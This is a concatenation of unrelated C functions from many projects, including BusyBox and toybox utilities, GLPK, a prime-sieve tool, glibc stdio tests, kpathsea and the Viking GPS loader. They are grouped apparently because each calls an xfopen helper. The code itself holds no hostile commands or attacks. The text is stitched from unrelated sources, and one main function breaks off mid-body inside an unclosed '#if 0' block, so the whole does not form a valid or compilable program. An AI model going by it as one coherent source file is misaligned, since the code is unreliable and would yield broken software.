int main(int argc, char **argv) { int c, opt; extern char *optarg; struct stat statbuf; FILE *devtable = NULL; umask (0); while ((opt = getopt_long(argc, argv, "D:d:r:qhv", long_options, &c)) >= 0) { switch (opt) { case 'D': devtable = xfopen(optarg, "r"); if (fstat(fileno(devtable), &statbuf) < 0) perror_msg_and_die(optarg); if (statbuf.st_size < 10) error_msg_and_die("%s: not a proper device table file", optarg); break; case 'h': fprintf(stderr, helptext); exit(1); case 'r': case 'd': /* for compatibility with mkfs.jffs, genext2fs, etc... */ if (rootdir != default_rootdir) { error_msg_and_die("root directory specified more than once"); } rootdir = xstrdup(optarg); break; case 'v': fprintf(stderr, "makedevs revision %.*s\n", (int) strlen(revtext) - 13, revtext + 11); exit(1); } } go(rootdir, devtable); return 0; }
int glp_write_ipt(glp_prob *lp, const char *fname) { XFILE *fp; int i, j, ret = 0; xprintf("Writing interior-point solution to `%s'...\n", fname); fp = xfopen(fname, "w"); if (fp == NULL) { xprintf("Unable to create `%s' - %s\n", fname, xerrmsg()); ret = 1; goto done; } /* number of rows, number of columns */ xfprintf(fp, "%d %d\n", lp->m, lp->n); /* solution status, objective value */ xfprintf(fp, "%d %.*g\n", lp->ipt_stat, DBL_DIG, lp->ipt_obj); /* rows (auxiliary variables) */ for (i = 1; i <= lp->m; i++) { GLPROW *row = lp->row[i]; /* primal value, dual value */ xfprintf(fp, "%.*g %.*g\n", DBL_DIG, row->pval, DBL_DIG, row->dval); } /* columns (structural variables) */ for (j = 1; j <= lp->n; j++) { GLPCOL *col = lp->col[j]; /* primal value, dual value */ xfprintf(fp, "%.*g %.*g\n", DBL_DIG, col->pval, DBL_DIG, col->dval); } xfflush(fp); if (xferror(fp)) { xprintf("Write error on `%s' - %s\n", fname, xerrmsg()); ret = 1; goto done; } xprintf("%d lines were written\n", 2 + lp->m + lp->n); done: if (fp != NULL) xfclose(fp); return ret; }
static void write_newpgen_files(uint64_t p) { FILE *file; char file_name[FILENAME_MAX+1]; int t; uint32_t i, count, total; for (total = 0, i = 0; i < seq_count; i++) { assert(ABS(SEQ[i].c) == 1 || SEQ[i].k == 1); t = npg_format_index(SEQ[i].c); if (t == 0 || t == 1) snprintf(file_name, FILENAME_MAX, "t%d_b%" PRIu32 "_k%" PRIu64 ".%s", npg_formats[t].sieve_type, base, SEQ[i].k, NEWPGEN_EXT); else snprintf(file_name, FILENAME_MAX, "t%d_b%" PRIu32 "_k%" PRIu64 ".%s", npg_formats[t].sieve_type, base, ABS(SEQ[i].c), NEWPGEN_EXT); file_name[FILENAME_MAX] = '\0'; if ((file = xfopen(file_name, "w", warning)) == NULL) continue; fprintf(file, "%"PRIu64":%c:1:%"PRIu32":%d\n", p, npg_formats[t].mode_char, base, npg_formats[t].mode_bits); count = seq_for_each_term(i,npg_formats[t].write_fun,file); if (seq_count == 1 || verbose > 1) report("Wrote %"PRIu32" term%s for sequence %s to NewPGen format file" " `%s'.", count, plural(count), seq_str(i), file_name); xfclose(file,file_name); total += count; } if (seq_count > 1 && verbose == 1) /* don't report twice */ report("Wrote %"PRIu32" term%s for %"PRIu32" sequence%s to NewPGen format" " files t*_b%"PRIu32"_k*.%s.", total, plural(total), seq_count, plural(seq_count), base, NEWPGEN_EXT); }
void se_pcre_init(const char *project, const char *index) { static int initialized = 0; static char *iproject = NULL, *iindex = NULL; FILE *fp; static char glist_fname[_MAX_PATH]; if (!project || !*project) project = "cdli"; if (initialized && !strcmp(iproject,project) && !strcmp(iindex,index)) return; if (iproject) free(iproject); if (iindex) free(iindex); iproject = strdup(project); iindex = strdup(index); initialized = 1; strcpy(glist_fname, se_file(project, index, "key.lst")); xaccess (glist_fname, R_OK, TRUE); glist_buf_len = fsize_t (glist_fname, NULL); glist_buf = malloc(glist_buf_len+3); *glist_buf = '\n'; fp = xfopen (glist_fname, "rb"); xfread (glist_fname, TRUE, &glist_buf[1], 1, glist_buf_len, fp); xfclose (glist_fname, fp); ++glist_buf_len; glist_buf[glist_buf_len++] = '\n'; glist_buf[glist_buf_len++] = '\0'; for (glist_begin = glist_buf+1; '#' == *glist_begin; ++glist_begin) { while ('\n' != *glist_begin) ++glist_begin; } glist_len = glist_buf_len - (glist_begin - glist_buf); }
void get_available_functions (FILE *file) { int i,j; char *fnames[FUNCTIONS_TO_TEST*3] = { /* statement to compile, if it works, if not */ "sqrtf(1.0f);", 0, "#define sqrtf sqrt", "sinf(1.0f);", 0, "#define sinf sin", "cosf(1.0f);", 0, "#define cosf cos", "fabsf(1.0f);", 0, "#define fabsf fabs", "atan2f(1.0f,1.0f);", 0, "#define atan2f atan2", "fmodf(1.0f,1.0f);", 0, "#define fmodf fmod", "copysignf(1.0f,1.0f);", 0, "#define copysignf copysign", /* to handle cygwin: */ "copysign(1.0,1.0);", 0, "#define copysign _copysign", "snprintf(\"\",0,\"\");", 0, "#define snprintf _snprintf", "vsnprintf(\"\",0,\"\",0);", 0, "#define vsnprintf _vsnprintf" }; write_header_comment (file,"available functions"); for (i=0; i < FUNCTIONS_TO_TEST; i++) { FILE *f = xfopen ("ctest.cpp","wt"); for (j=0; j < NUM_HEADERS; j++) { if (header_used[j]) fprintf (f,"#include <%s>\n",header_files[j]); } fprintf (f,"int main() { %s return 0; }\n",fnames[i*3]); fclose (f); delete_file ("ctest.exe"); compile ("ctest.exe","ctest.cpp"); if (file_exists ("ctest.exe")) { if (fnames[i*3+1]) fprintf (file,"%s\n",fnames[i*3+1]); } else { if (fnames[i*3+2]) fprintf (file,"%s\n",fnames[i*3+2]); } delete_file ("ctest.cpp"); delete_file ("ctest.exe"); } }
void get_all_standard_headers (FILE *file) { int i; for (i=0; i < NUM_HEADERS; i++) { FILE *f = xfopen ("ctest.cpp","wt"); fprintf (f,"#include <%s>\nint main() { return 0; }\n",header_files[i]); fclose (f); delete_file ("ctest.exe"); compile ("ctest.exe","ctest.cpp"); if (file_exists ("ctest.exe")) { fprintf (file,"#include <%s>\n",header_files[i]); header_used[i] = 1; } else { header_used[i] = 0; } } delete_file ("ctest.cpp"); delete_file ("ctest.exe"); }
static void write_abcd_file(uint64_t p) { FILE *file; uint32_t seq, count; char file_name[FILENAME_MAX+1]; snprintf(file_name, FILENAME_MAX, "sr_%"PRIu32".%s", base, ABCD_EXT); file_name[FILENAME_MAX] = '\0'; if ((file = xfopen(file_name, "w", warning)) == NULL) return; abcd_p = p; for (count = 0, seq = 0; seq < seq_count; seq++) { fprintf(file, "ABCD %" PRIu64 "*%" PRIu32 "^$a%+" PRId64, SEQ[seq].k, base, SEQ[seq].c); abcd_n = UINT32_MAX; count += seq_for_each_term(seq,(kcn_app_t)write_abcd_delta,file); } report_wrote(count,seq_count,"ABCD",file_name); xfclose(file,file_name); }
static void load_cmd_file(char *filename) { FILE *cmdfile; char *line; char *nextline; cmdfile = xfopen(filename, "r"); while ((line = get_line_from_file(cmdfile)) != NULL) { /* if a line ends with '\' it needs the next line appended to it */ while (line[strlen(line)-2] == '\\' && (nextline = get_line_from_file(cmdfile)) != NULL) { line = xrealloc(line, strlen(line) + strlen(nextline) + 1); strcat(line, nextline); free(nextline); } /* eat trailing newline (if any) --if I don't do this, edit commands * (aic) will print an extra newline */ chomp(line); add_cmd_str(line); free(line); } }
int savestate_f(Mach *m, uint slot) { FILE *fp; int ret; if (slot >= nelem(m->state)) return -EINVAL; fp = xfopen("%u.sav", "wb", slot); if (!fp) return -errno; ret = 0; memset(m->state[slot], 0, sizeof(m->state[slot])); savestate(m, m->state[slot]); if (fwrite(m->state[slot], 1, sizeof(m->state[slot]), fp) != sizeof(m->state[slot])) ret = -errno; fclose(fp); return ret; }
int main(int argc, char **argv) { const char *fname[2]; options(argc,argv,"bcdgno:p:sux"); if (!stdin_input) { fname[0] = file = argv[optind]; fname[1] = NULL; } if (outfile) f_xml = outfp = xfopen(outfile,"w"); else f_xml = stdout; f_log = stderr; gdl_pool = npool_init(); pool_init(); tree_init(); gdl_init(); cuneify_init(xpd); curr_lang = global_lang = lang_switch(NULL,"sux",NULL,NULL,0); /*current_state = set_state(s_global,s_text);*/ #if 0 if (!project) { project = "cdli"; load_lang_in_project(current_state.lang); charset_init_lang(curr_data->this); curr_data->cset = curr_data->this->cset[current_state.mode]; }
static void narrow (const char *path) { FILE *old_stdin = stdin; stdin = xfopen (path, "r"); TEST_COMPARE (getchar (), 'a'); TEST_COMPARE (getchar_unlocked (), 'b'); char ch = 1; TEST_COMPARE (scanf ("%c", &ch), 1); TEST_COMPARE (ch, 'c'); TEST_COMPARE (call_vscanf ("%c", &ch), 1); TEST_COMPARE (ch, 'd'); char buf[8]; memset (buf, 'X', sizeof (buf)); /* Legacy interface. */ extern char *gets (char *); TEST_VERIFY (gets (buf) == buf); TEST_COMPARE_BLOB (buf, sizeof (buf), "ef\0XXXXX", sizeof (buf)); fclose (stdin); stdin = old_stdin; }
void get_alloca_usage (FILE *file) { int i,j; for (i=0; i<NUM_ALLOCA; i++) { FILE *f = xfopen ("ctest.cpp","wt"); for (j=0; j < NUM_HEADERS; j++) { if (header_used[j]) fprintf (f,"#include <%s>\n",header_files[j]); } fprintf (f,"int main() { void *foo = %s (10); }\n",alloca_function[i]); fclose (f); delete_file ("ctest.exe"); compile ("ctest.exe","ctest.cpp"); if (file_exists ("ctest.exe")) { if (i > 0) { write_header_comment (file,"how to use alloca()"); fprintf (file,"#define alloca %s\n\n",alloca_function[i]); } break; } } delete_file ("ctest.cpp"); delete_file ("ctest.exe"); if (i == NUM_ALLOCA) fatal_error ("i can't find a way to use alloca()"); }
static llist_t *append_file_list_to_list(llist_t *list) { FILE *src_stream; llist_t *cur = list; llist_t *tmp; char *line; llist_t *newlist = NULL; while (cur) { src_stream = xfopen(cur->data, "r"); tmp = cur; cur = cur->link; free(tmp); while ((line = xmalloc_getline(src_stream)) != NULL) { /* kill trailing '/' unless the string is just "/" */ char *cp = last_char_is(line, '/'); if (cp > line) *cp = '\0'; llist_add_to(&newlist, line); } fclose(src_stream); } return newlist; }
/*#define PADDED_GRAPHEME_LEN 32*/ void alias_index_aliases (const char *project,const char *index) { const char *alias_fn, *alias_dir; FILE *alias_fp; Dbi_index *alias_dip; Uchar padded_grapheme[PADDED_GRAPHEME_LEN], head_grapheme[PADDED_GRAPHEME_LEN]; Uchar *s, *t; int last_grapheme_len = PADDED_GRAPHEME_LEN; int line_num = 0; int hg_len = 0; alias_fn = strdup(se_file(project, index, "aliases")); alias_dir = se_dir(project,index); if (xaccess(alias_fn,W_OK|R_OK,0)) { if (verbose) mwarning(NULL,"no aliases file %s; proceeding without aliasing",alias_fn); return; } alias_fp = xfopen (alias_fn, "r"); alias_dip = dbi_create ("aliases", alias_dir, 1024, 1, DBI_BALK); dbi_set_cache (alias_dip, 32); while (NULL != (s = getline (alias_fp))) { if ('#' == *s) continue; if (!isspace(*s)) { memset (head_grapheme, '\0', last_grapheme_len); t = head_grapheme; while (*s && !isspace(*s)) { if (t - head_grapheme == PADDED_GRAPHEME_LEN) { *t = '\0'; error (ewfile(alias_fn, line_num), "%s...: grapheme too long (max %d chars)", head_grapheme, PADDED_GRAPHEME_LEN-1); } *t++ = *s++; } *t++ = '\0'; hg_len = t - head_grapheme; while (*s && isspace(*s)) ++s; } else { do ++s; while (*s && isspace(*s)); } while (*s) { t = padded_grapheme; while (*s && !isspace(*s)) { if (t - padded_grapheme == PADDED_GRAPHEME_LEN) { *t = '\0'; error (ewfile(alias_fn, line_num), "%s...: grapheme too long (max %d chars)",padded_grapheme,PADDED_GRAPHEME_LEN-1); } *t++ = *s++; } *t = '\0'; last_grapheme_len = t - padded_grapheme; if (DBI_BALK == dbi_add (alias_dip, padded_grapheme, head_grapheme, hg_len)) mwarning (NULL, "duplicate grapheme alias %s -> %s", padded_grapheme, head_grapheme); while (*s && isspace(*s)) ++s; } } dbi_flush (alias_dip); xfclose (alias_fn, alias_fp); }
int main(int argc, char* argv[]) { long long realpos; int bytes_read, overlap, tagID, len; char *pos, *found, *end, *content, *tag; FILE* fp; if (argc > 1) fp = xfopen(argv[1], "r"); else fp = stdin; content = 0; // state: not reading content tag = 0; // state: not reading tag attributes tagID = tagInvalid; realpos = 0; overlap = 0; pos = buf; /* XML content should be passed on as one sequence. * Therefore, when end of input chunk is found while reading * content, this content is copied to beginning of buffer (with * length <overlap>) and further reading is done after that. * This limits the length of parsable XML content to size of buffer * (large XML content simply will be skipped with a warning). */ while(1) { if (overlap) { /* copy over content from previous input chunk */ memcpy(buf, pos, overlap); } if (feof(fp)) { /* append end marker */ bytes_read = sprintf(buf + overlap, "<<<< "); } else bytes_read = fread(buf + overlap, 1, SIZE-overlap, fp); end = buf + overlap + bytes_read; *end = 0; pos = buf; overlap = 0; realpos += bytes_read; while(pos<end) { if (tag) found = strchr(pos, '>'); else found = strchr(pos, '<'); if (found == 0) { if (content == 0 && tag == 0) { break; } if (pos == buf) { fprintf(stderr, "Skipping large content at %lld ('%s')\n", realpos - (end-pos), currentTitle); tag = content = 0; break; } } if (found == 0 || (found + 15 > end)) { if (content == 0 && tag == 0) { overlap = end - found; pos = found; } else if (tag) { overlap = end - tag; pos = tag; tag = buf; } else { overlap = end - content; pos = content; content = buf; } break; } pos = found + 1; if (tag) { //gotTag(tagID, tag, pos - tag -1); tag = 0; if (*(pos-2) == '/') { char text[1]; text[0] = 0; gotContent(tagID, text, 0, realpos - (end-pos)); content = 0; } else content = pos; continue; } if (content) { if ((pos[0] != '/') || (strncmp(pos+1, tagName[tagID], tagLen[tagID]) != 0) || (pos[tagLen[tagID]+1] != '>')) { fprintf(stderr, "Error at %ld: </%s> expected\n", (long)(realpos - (end-pos)), tagName[tagID]); exit(1); } len = pos - content -1; len = revertXMLEncoding(content, len); gotContent(tagID, content, len, realpos - (end-content)); content = 0; pos += (tagLen[tagID] + 2); tagID = tagInvalid; continue; } if (strncmp(pos, "title>", 6) == 0) { tagID = tagTitle; //gotTag(tagID, pos, 5); pos += 6; content = pos; continue; } if ((strncmp(pos, "text", 4) == 0) && (pos[4] == ' ' || pos[4] == '>')) { tagID = tagText; tag = pos; pos += 4; continue; } if (strncmp(pos, "<<<", 3) == 0) { exit(1); } } } }
int sort_main(int argc, char **argv) { FILE *fp; char *line, **lines = NULL; int i, opt, nlines = 0; int (*compare)(const void *, const void *) = compare_ascii; #ifdef BB_FEATURE_SORT_REVERSE int reverse = FALSE; #endif while ((opt = getopt(argc, argv, "nrl")) != -1) { switch (opt) { case 'n': compare = compare_numeric; break; #ifdef BB_FEATURE_SORT_REVERSE case 'r': reverse = TRUE; break; #endif /* * FIXME: This hack is used so that comparison will be limitid * to LOG_COMPARE_LEN chars so as to only sort using time stamp * of format: * -->Mmm DD HH:MM:SS<-- * -->012345678901234<-- */ #define LOG_COMPARE_LEN 15 case 'l': max_compare_len = LOG_COMPARE_LEN; break; default: show_usage(); } } /* read the input */ for (i = optind; i == optind || i < argc; i++) { if (argv[i] == NULL) fp = stdin; else fp = xfopen(argv[i], "r"); while ((line = get_line_from_file(fp)) != NULL) { lines = xrealloc(lines, sizeof(char *) * (nlines + 1)); lines[nlines++] = line; } } /* sort it */ qsort(lines, nlines, sizeof(char *), compare); /* print it */ #ifdef BB_FEATURE_SORT_REVERSE if (reverse) for (i = nlines - 1; 0 <= i; i--) fputs(lines[i], stdout); else #endif for (i = 0; i < nlines; i++) { fputs(lines[i], stdout); free(lines[i]); } free(lines); fclose(fp); return EXIT_SUCCESS; }
static FILE * path_vfopen( const char *mode, const char *path, va_list ap ) { vsnprintf( pathbuf, sizeof ( pathbuf ), path, ap ); return xfopen( pathbuf, mode ); }
static void update_groupfiles(char *filename, char* username) { char *filenamesfx = NULL, *sfx = NULL, *line = NULL; FILE *exfp, *newfp; int ulen = strlen(username); struct flock lock; filenamesfx = xmprintf("%s+", filename); sfx = strchr(filenamesfx, '+'); exfp = xfopen(filename, "r+"); *sfx = '-'; unlink(filenamesfx); if (link(filename, filenamesfx)) error_msg("Can't create backup file"); *sfx = '+'; lock.l_type = F_WRLCK; lock.l_whence = SEEK_SET; lock.l_start = lock.l_len = 0; if (fcntl(fileno(exfp), F_SETLK, &lock) < 0) perror_msg("Couldn't lock file %s",filename); lock.l_type = F_UNLCK; //unlocking at a later stage newfp = xfopen(filenamesfx, "w+"); while ((line = get_line(fileno(exfp))) != NULL){ sprintf(toybuf, "%s:",username); if (!strncmp(line, toybuf, ulen+1)) goto LOOP; else { char *n, *p = strrchr(line, ':'); if (p && *++p && (n = strstr(p, username))) { do { if (n[ulen] == ',') { *n = '\0'; n += ulen + 1; fprintf(newfp, "%s%s\n", line, n); break; } else if (!n[ulen]) { if (n[-1] == ',') n[-1] = *n = '\0'; if (n[-1] == ':') *n = '\0'; fprintf(newfp, "%s%s\n", line, n); break; } else n += ulen; } while (*n && (n=strstr(n, username))); if (!n) fprintf(newfp, "%s\n", line); } else fprintf(newfp, "%s\n", line); } LOOP: free(line); } fcntl(fileno(exfp), F_SETLK, &lock); fclose(exfp); errno = 0; fflush(newfp); fsync(fileno(newfp)); fclose(newfp); rename(filenamesfx, filename); if (errno){ perror_msg("File Writing/Saving failed: "); unlink(filenamesfx); } free(filenamesfx); }
/* run simulation */ int run(void) { gmx_mtop_t *mtop; int i, ndata, nat, rescnt = 0; char fxtc[FILENAME_MAX] = ""; char *ftop; matrix box; rvec *xref = NULL, *xrefbb = NULL; zedata_t *ze = NULL; trj_t *trj = NULL; double dt, bref = 1.0/(BOLTZ*Tref), wtot = 0.0; hist_t *hsrms = NULL; bb_t *bb = NULL; FILE *fplog = NULL; memset(box, 0, sizeof(box)); /* read topology and the reference structure */ die_if ((ftop = nfexists(fntop, 7)) == NULL, "no topology file %s\n", fntop); mtop = read_tpx_conf(ftop, &xref, box, &nat, &dt); printf("using the structure in %s as the reference\n", ftop); bb = init_index(&rescnt, mtop); /* get indices for backbone dihedrals */ xnew(xrefbb, rescnt * 3); xgetbb(xrefbb, xref, bb, rescnt); hsrms = hs_open(1, 0.0, xmax, xdel); if (fnlog) { xfopen(fplog, fnlog, "w", exit(1)); } if (fndist2 != NULL) { /* if there's a second database, combine it with the first database */ die_if (0 != hs_load(hsrms, fndist, HIST_VERBOSE), "cannot load master %s\n", fndist); die_if (0 != hs_load(hsrms, fndist2, HIST_VERBOSE|HIST_ADDITION), "cannot add the second %s\n", fndist2); } else { /* if there's no second database, we accumulate trajectories */ /* 1. initialize multiple histogram weights for tempering */ if (!ctmd) { if ((ze = ze_load(fnze, 10)) == NULL) { fprintf(stderr, "cannot load %s\n", fnze); return -1; } /* we first load TRACE, compute weight of each frame */ if ((trj = trj_loadseq(fntr, &ndata, dt, tequil, ze, bref, delbet)) == NULL) { fprintf(stderr, "failed to load trace\n"); return -1; } } else { /* for regular MD, set ndata to a large number */ ndata = 10000000; } /* 2. we now successively load xtc from each data dir, * try to match the TRACE frames */ if (!ctmd) trj->pos = 0; for (i = 1; i <= ndata; i++) { sprintf(fxtc, "data%d/%s", i, fnxtc); if (!fexists(fxtc)) { /* test if the file exists */ die_if(!ctmd, "cannot read %s\n", fnxtc); break; } if (0 != dotrj(hsrms, bb, rescnt, fplog, trj, fxtc, xrefbb, nat, box, &wtot)) { fprintf(stderr, "error doing %s\n", fnxtc); return -1; } } } hs_save(hsrms, fndist, HIST_ADDAHALF|HIST_VERBOSE); hs_close(hsrms); sfree(mtop); if (!ctmd) { if (trj) trj_free(trj); if (ze) ze_free(ze); } free(xrefbb); return 0; }
/* Run uuidcache_check_device() for every device mentioned * in /proc/partitions */ static void uuidcache_init_partitions(void) { char line[100]; int ma, mi; unsigned long long sz; FILE *procpt; int firstPass; int handleOnFirst; char *chptr; procpt = xfopen("/proc/partitions", "r"); /* # cat /proc/partitions major minor #blocks name 8 0 293036184 sda 8 1 6835626 sda1 8 2 1 sda2 8 5 979933 sda5 8 6 15623181 sda6 8 7 97659103 sda7 8 8 171935631 sda8 */ for (firstPass = 1; firstPass >= 0; firstPass--) { fseek(procpt, 0, SEEK_SET); while (fgets(line, sizeof(line), procpt)) { /* The original version of this code used sscanf, but diet's sscanf is quite limited */ chptr = line; if (*chptr != ' ') continue; chptr = skip_whitespace(chptr); ma = bb_strtou(chptr, &chptr, 0); if (ma < 0) continue; chptr = skip_whitespace(chptr); mi = bb_strtou(chptr, &chptr, 0); if (mi < 0) continue; chptr = skip_whitespace(chptr); sz = bb_strtoull(chptr, &chptr, 0); if ((long long)sz == -1LL) continue; chptr = skip_whitespace(chptr); /* skip extended partitions (heuristic: size 1) */ if (sz == 1) continue; *strchrnul(chptr, '\n') = '\0'; /* now chptr => device name */ dbg("/proc/partitions: maj:%d min:%d sz:%llu name:'%s'", ma, mi, sz, chptr); if (!chptr[0]) continue; /* look only at md devices on first pass */ handleOnFirst = (chptr[0] == 'm' && chptr[1] == 'd'); if (firstPass != handleOnFirst) continue; /* heuristic: partition name ends in a digit */ if (isdigit(chptr[strlen(chptr) - 1])) { uuidcache_check_device(chptr, ma, mi, 0); } } } fclose(procpt); }
int main(int argc, char **argv) { int c, opt; extern char *optarg; struct stat statbuf; char passwd_path[PATH_MAX]; char group_path[PATH_MAX]; FILE *passwd_file = NULL; FILE *group_file = NULL; FILE *devtable = NULL; DIR *dir = NULL; umask (0); if (argc==1) { fputs( helptext , stderr ); exit(1); } while ((opt = getopt_long(argc, argv, "D:d:r:htv", long_options, &c)) >= 0) { switch (opt) { case 'D': devtable = xfopen(optarg, "r"); if (fstat(fileno(devtable), &statbuf) < 0) perror_msg_and_die(optarg); if (statbuf.st_size < 10) error_msg_and_die("%s: not a proper device table file", optarg); break; case 'h': puts(helptext); exit(0); case 'r': case 'd': /* for compatibility with mkfs.jffs, genext2fs, etc... */ if (rootdir != default_rootdir) { error_msg_and_die("root directory specified more than once"); } if ((dir = opendir(optarg)) == NULL) { perror_msg_and_die(optarg); } else { closedir(dir); } /* If "/" is specified, use "" because rootdir is always prepended to a * string that starts with "/" */ if (0 == strcmp(optarg, "/")) rootdir = xstrdup(""); else rootdir = xstrdup(optarg); break; case 't': trace = 1; break; case 'v': printf("%s: %s\n", app_name, VERSION); exit(0); default: fputs(helptext,stderr); exit(1); } } if (argv[optind] != NULL) { fputs(helptext,stderr); exit(1); } // Get name-id mapping sprintf(passwd_path, "%s/etc/passwd", rootdir); sprintf(group_path, "%s/etc/group", rootdir); if ((passwd_file = fopen(passwd_path, "r")) != NULL) { get_list_from_file(passwd_file, &usr_list); fclose(passwd_file); } if ((group_file = fopen(group_path, "r")) != NULL) { get_list_from_file(group_file, &grp_list); fclose(group_file); } // Parse devtable if(devtable) { parse_devtable(devtable); fclose(devtable); } // Free list free_list(usr_list); free_list(grp_list); return 0; }
int nameif_main(int argc, char **argv) { ethtable_t *clist = NULL; FILE *ifh; const char *fname = "/etc/mactab"; char *line; char *line_ptr; int linenum; int ctl_sk; ethtable_t *ch; if (1 & getopt32(argv, "sc:", &fname)) { openlog(applet_name, 0, LOG_LOCAL0); logmode = LOGMODE_SYSLOG; } argc -= optind; argv += optind; if (argc & 1) bb_show_usage(); if (argc) { while (*argv) { char *ifname = xstrdup(*argv++); prepend_new_eth_table(&clist, ifname, *argv++); } } else { ifh = xfopen(fname, "r"); while ((line = xmalloc_fgets(ifh)) != NULL) { char *next; line_ptr = skip_whitespace(line); if ((line_ptr[0] == '#') || (line_ptr[0] == '\n')) { free(line); continue; } next = skip_non_whitespace(line_ptr); if (*next) *next++ = '\0'; prepend_new_eth_table(&clist, line_ptr, next); free(line); } fclose(ifh); } ctl_sk = xsocket(PF_INET, SOCK_DGRAM, 0); ifh = xfopen("/proc/net/dev", "r"); linenum = 0; while (clist) { struct ifreq ifr; #if ENABLE_FEATURE_NAMEIF_EXTENDED struct ethtool_drvinfo drvinfo; #endif line = xmalloc_fgets(ifh); if (line == NULL) break; /* Seems like we're done */ if (linenum++ < 2 ) goto next_line; /* Skip the first two lines */ /* Find the current interface name and copy it to ifr.ifr_name */ line_ptr = skip_whitespace(line); *skip_non_whitespace(line_ptr) = '\0'; memset(&ifr, 0, sizeof(struct ifreq)); strncpy(ifr.ifr_name, line_ptr, sizeof(ifr.ifr_name)); #if ENABLE_FEATURE_NAMEIF_EXTENDED /* Check for driver etc. */ memset(&drvinfo, 0, sizeof(struct ethtool_drvinfo)); drvinfo.cmd = ETHTOOL_GDRVINFO; ifr.ifr_data = (caddr_t) &drvinfo; /* Get driver and businfo first, so we have it in drvinfo */ ioctl(ctl_sk, SIOCETHTOOL, &ifr); #endif ioctl(ctl_sk, SIOCGIFHWADDR, &ifr); /* Search the list for a matching device */ for (ch = clist; ch; ch = ch->next) { #if ENABLE_FEATURE_NAMEIF_EXTENDED if (ch->bus_info && strcmp(ch->bus_info, drvinfo.bus_info) != 0) continue; if (ch->driver && strcmp(ch->driver, drvinfo.driver) != 0) continue; #endif if (ch->mac && memcmp(ch->mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN) != 0) continue; /* if we came here, all selectors have matched */ goto found; } /* Nothing found for current interface */ goto next_line; found: if (strcmp(ifr.ifr_name, ch->ifname) != 0) { strcpy(ifr.ifr_newname, ch->ifname); ioctl_or_perror_and_die(ctl_sk, SIOCSIFNAME, &ifr, "cannot change ifname %s to %s", ifr.ifr_name, ch->ifname); } /* Remove list entry of renamed interface */ if (ch->prev != NULL) ch->prev->next = ch->next; else clist = ch->next; if (ch->next != NULL) ch->next->prev = ch->prev; if (ENABLE_FEATURE_CLEAN_UP) { free(ch->ifname); free(ch->mac); free(ch); } next_line: free(line); } if (ENABLE_FEATURE_CLEAN_UP) { fclose(ifh); }; return 0; }
static void read_all_cnf (kpathsea kpse) { string *cnf_files; string *cnf; const_string cnf_path = kpathsea_init_format (kpse, kpse_cnf_format); kpse->cnf_hash = hash_create (CNF_HASH_SIZE); cnf_files = kpathsea_all_path_search (kpse, cnf_path, CNF_NAME); if (cnf_files && *cnf_files) { for (cnf = cnf_files; *cnf; cnf++) { string line; string msg; unsigned lineno = 0; FILE *cnf_file = xfopen (*cnf, FOPEN_R_MODE); if (kpse->record_input) kpse->record_input (*cnf); while ((line = read_line (cnf_file)) != NULL) { unsigned len; lineno++; len = strlen (line); /* Strip trailing spaces. */ while (len > 0 && ISSPACE(line[len-1])) { line[len - 1] = 0; --len; } /* Concatenate consecutive lines that end with \. */ while (len > 0 && line[len - 1] == '\\') { string next_line = read_line (cnf_file); lineno++; line[len - 1] = 0; if (!next_line) { WARNING2 ("%s:%d: (kpathsea) Last line of file ends with \\", *cnf, lineno); } else { string new_line; new_line = concat (line, next_line); free (line); line = new_line; len = strlen (line); } } msg = do_line (kpse, line); if (msg) { WARNING4 ("%s:%d: (kpathsea) %s on line: %s", *cnf, lineno, msg, line); } free (line); } xfclose (cnf_file, *cnf); free (*cnf); } free (cnf_files); } else { string warn = getenv ("KPATHSEA_WARNING"); if (!(warn && STREQ (warn, "0"))) { WARNING1 ("kpathsea: configuration file texmf.cnf not found in these directories: %s", cnf_path); } } }
VikLoadType_t a_file_load ( VikAggregateLayer *top, VikViewport *vp, const gchar *filename_or_uri ) { g_return_val_if_fail ( vp != NULL, LOAD_TYPE_READ_FAILURE ); char *filename = (char *)filename_or_uri; if (strncmp(filename, "file://", 7) == 0) { // Consider replacing this with: // filename = g_filename_from_uri ( entry, NULL, NULL ); // Since this doesn't support URIs properly (i.e. will failure if is it has %20 characters in it) filename = filename + 7; g_debug ( "Loading file %s from URI %s", filename, filename_or_uri ); } FILE *f = xfopen ( filename ); if ( ! f ) return LOAD_TYPE_READ_FAILURE; VikLoadType_t load_answer = LOAD_TYPE_OTHER_SUCCESS; gchar *dirpath = g_path_get_dirname ( filename ); // Attempt loading the primary file type first - our internal .vik file: if ( check_magic ( f, VIK_MAGIC ) ) { if ( file_read ( top, f, dirpath, vp ) ) load_answer = LOAD_TYPE_VIK_SUCCESS; else load_answer = LOAD_TYPE_VIK_FAILURE_NON_FATAL; } else if ( a_jpg_magic_check ( filename ) ) { if ( ! a_jpg_load_file ( top, filename, vp ) ) load_answer = LOAD_TYPE_UNSUPPORTED_FAILURE; } else { // For all other file types which consist of tracks, routes and/or waypoints, // must be loaded into a new TrackWaypoint layer (hence it be created) gboolean success = TRUE; // Detect load failures - mainly to remove the layer created as it's not required VikLayer *vtl = vik_layer_create ( VIK_LAYER_TRW, vp, FALSE ); vik_layer_rename ( vtl, a_file_basename ( filename ) ); // In fact both kml & gpx files start the same as they are in xml if ( a_file_check_ext ( filename, ".kml" ) && check_magic ( f, GPX_MAGIC ) ) { // Implicit Conversion if ( ! ( success = a_babel_convert_from ( VIK_TRW_LAYER(vtl), "-i kml", filename, NULL, NULL, NULL ) ) ) { load_answer = LOAD_TYPE_GPSBABEL_FAILURE; } } // NB use a extension check first, as a GPX file header may have a Byte Order Mark (BOM) in it // - which currently confuses our check_magic function else if ( a_file_check_ext ( filename, ".gpx" ) || check_magic ( f, GPX_MAGIC ) ) { if ( ! ( success = a_gpx_read_file ( VIK_TRW_LAYER(vtl), f ) ) ) { load_answer = LOAD_TYPE_GPX_FAILURE; } } else { // Try final supported file type if ( ! ( success = a_gpspoint_read_file ( VIK_TRW_LAYER(vtl), f, dirpath ) ) ) { // Failure here means we don't know how to handle the file load_answer = LOAD_TYPE_UNSUPPORTED_FAILURE; } } g_free ( dirpath ); // Clean up when we can't handle the file if ( ! success ) { // free up layer g_object_unref ( vtl ); } else { // Complete the setup from the successful load vik_layer_post_read ( vtl, vp, TRUE ); vik_aggregate_layer_add_layer ( top, vtl, FALSE ); vik_trw_layer_auto_set_view ( VIK_TRW_LAYER(vtl), vp ); } } xfclose(f); return load_answer; }
